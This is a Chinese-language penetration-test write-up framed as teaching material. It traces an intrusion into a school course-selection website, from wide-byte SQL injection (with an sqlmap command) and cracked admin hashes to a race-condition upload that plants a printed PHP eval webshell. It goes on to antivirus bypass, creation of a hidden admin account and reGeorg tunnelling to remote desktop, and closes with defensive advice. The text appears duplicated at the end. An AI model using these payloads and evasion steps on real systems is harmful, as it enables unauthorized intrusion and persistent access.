记一次简单渗透
字数 1303 2025-08-05 11:39:37

渗透测试实战教学:从SQL注入到远程控制

前言

本教学文档基于一次真实的渗透测试案例,详细记录了从发现漏洞到最终获取系统控制权的完整过程。案例中涉及SQL注入、文件上传漏洞利用、系统信息收集、权限维持和远程控制等技术点,适合中级渗透测试人员学习参考。

1. SQL注入攻击

1.1 漏洞发现

  • 目标系统:某校选课网站
  • 漏洞类型:宽字节注入
  • 发现方式:使用扫描器自动扫描发现

1.2 漏洞验证

  • 确认无过滤措施
  • 使用SQLmap进行自动化利用:
    python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes
    

1.3 数据提取

  1. 爆库操作获取数据库名称
  2. 爆表操作获取目标表(Admin表)
  3. 爆列操作获取账号密码字段
  4. 爆值操作提取管理员凭证

1.4 密码破解

  • 获取的密码为MD5加密格式
  • 使用cmd5等在线平台进行解密
  • 成功获取明文密码并登录后台

2. 文件上传漏洞利用

2.1 漏洞发现

  • 发现FCKeditor编辑器(版本2.6.6 PHP)
  • 尝试已知漏洞利用失败
  • 发现另一个上传接口:学生名单上传功能

2.2 漏洞分析

  • 仅前端验证,可绕过
  • BurpSuite拦截发现返回完整文件路径
  • 文件被上传到临时目录(temp)并自动清除

2.3 漏洞利用

  1. 构造恶意PHP文件:
    <?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']'); ?>"); ?>
    
  2. 利用条件竞争漏洞:
    • 使用BurpSuite Intruder模块多线程发包
    • 在文件被删除前访问执行
    • 成功在父目录写入Webshell

3. 系统信息收集

3.1 基本信息收集

  • 执行systeminfo获取系统详细信息
  • 执行netstat -ano查看开放端口
    • 发现3389端口开放(远程桌面服务)
  • 执行whoami确认当前权限为SYSTEM

3.2 安全防护检测

  • 执行tasklist发现360安全卫士运行
  • 尝试终止360进程失败:
    • taskkill命令被拦截
    • sc delete方法也被拦截

4. 权限维持与远程控制

4.1 创建管理员账户

  1. 尝试常规方法失败(被360拦截)
  2. 使用Windows API方法绕过防护:
    • 使用预编译工具netuser(GitHub项目)
    • 成功创建管理员账户

4.2 内网穿透

  • 发现3389端口仅内网开放
  • 使用reGeorg进行内网穿透:
    1. 上传tunnel.nosocket.php(PHP<5.3兼容)
    2. 配置代理通道
    3. 验证连接正常

4.3 远程连接

  1. 通过内网穿透建立连接
  2. 登录后首先关闭360防护
  3. 参考隐藏后门方法维持访问权限

5. 防御建议

5.1 针对SQL注入

  • 使用参数化查询
  • 实施严格的输入过滤
  • 禁用宽字节字符集或正确处理

5.2 针对文件上传

  • 实施后端文件类型验证
  • 禁用临时目录的脚本执行权限
  • 设置文件上传目录不可执行

5.3 系统安全加固

  • 限制SYSTEM权限操作
  • 配置360等安全软件规则
  • 监控异常账户创建行为

6. 参考资源

  1. Windows API创建用户方法
  2. reGeorg内网穿透使用指南
  3. Windows后门账户隐藏技术
  4. 绕过360创建用户实战记录

总结

本案例展示了从Web漏洞到系统完全控制的完整渗透流程,重点突出了在遇到安全防护时的绕过思路和解决方法。渗透测试人员应理解每种技术的原理和限制,在实际测试中灵活组合应用。

渗透测试实战教学:从SQL注入到远程控制 前言 本教学文档基于一次真实的渗透测试案例,详细记录了从发现漏洞到最终获取系统控制权的完整过程。案例中涉及SQL注入、文件上传漏洞利用、系统信息收集、权限维持和远程控制等技术点,适合中级渗透测试人员学习参考。 1. SQL注入攻击 1.1 漏洞发现 目标系统:某校选课网站 漏洞类型:宽字节注入 发现方式:使用扫描器自动扫描发现 1.2 漏洞验证 确认无过滤措施 使用SQLmap进行自动化利用: 1.3 数据提取 爆库操作获取数据库名称 爆表操作获取目标表(Admin表) 爆列操作获取账号密码字段 爆值操作提取管理员凭证 1.4 密码破解 获取的密码为MD5加密格式 使用cmd5等在线平台进行解密 成功获取明文密码并登录后台 2. 文件上传漏洞利用 2.1 漏洞发现 发现FCKeditor编辑器(版本2.6.6 PHP) 尝试已知漏洞利用失败 发现另一个上传接口:学生名单上传功能 2.2 漏洞分析 仅前端验证,可绕过 BurpSuite拦截发现返回完整文件路径 文件被上传到临时目录(temp)并自动清除 2.3 漏洞利用 构造恶意PHP文件: 利用条件竞争漏洞: 使用BurpSuite Intruder模块多线程发包 在文件被删除前访问执行 成功在父目录写入Webshell 3. 系统信息收集 3.1 基本信息收集 执行 systeminfo 获取系统详细信息 执行 netstat -ano 查看开放端口 发现3389端口开放(远程桌面服务) 执行 whoami 确认当前权限为SYSTEM 3.2 安全防护检测 执行 tasklist 发现360安全卫士运行 尝试终止360进程失败: taskkill 命令被拦截 sc delete 方法也被拦截 4. 权限维持与远程控制 4.1 创建管理员账户 尝试常规方法失败(被360拦截) 使用Windows API方法绕过防护: 使用预编译工具 netuser (GitHub项目) 成功创建管理员账户 4.2 内网穿透 发现3389端口仅内网开放 使用reGeorg进行内网穿透: 上传 tunnel.nosocket.php (PHP <5.3兼容) 配置代理通道 验证连接正常 4.3 远程连接 通过内网穿透建立连接 登录后首先关闭360防护 参考隐藏后门方法维持访问权限 5. 防御建议 5.1 针对SQL注入 使用参数化查询 实施严格的输入过滤 禁用宽字节字符集或正确处理 5.2 针对文件上传 实施后端文件类型验证 禁用临时目录的脚本执行权限 设置文件上传目录不可执行 5.3 系统安全加固 限制SYSTEM权限操作 配置360等安全软件规则 监控异常账户创建行为 6. 参考资源 Windows API创建用户方法 reGeorg内网穿透使用指南 Windows后门账户隐藏技术 绕过360创建用户实战记录 总结 本案例展示了从Web漏洞到系统完全控制的完整渗透流程,重点突出了在遇到安全防护时的绕过思路和解决方法。渗透测试人员应理解每种技术的原理和限制,在实际测试中灵活组合应用。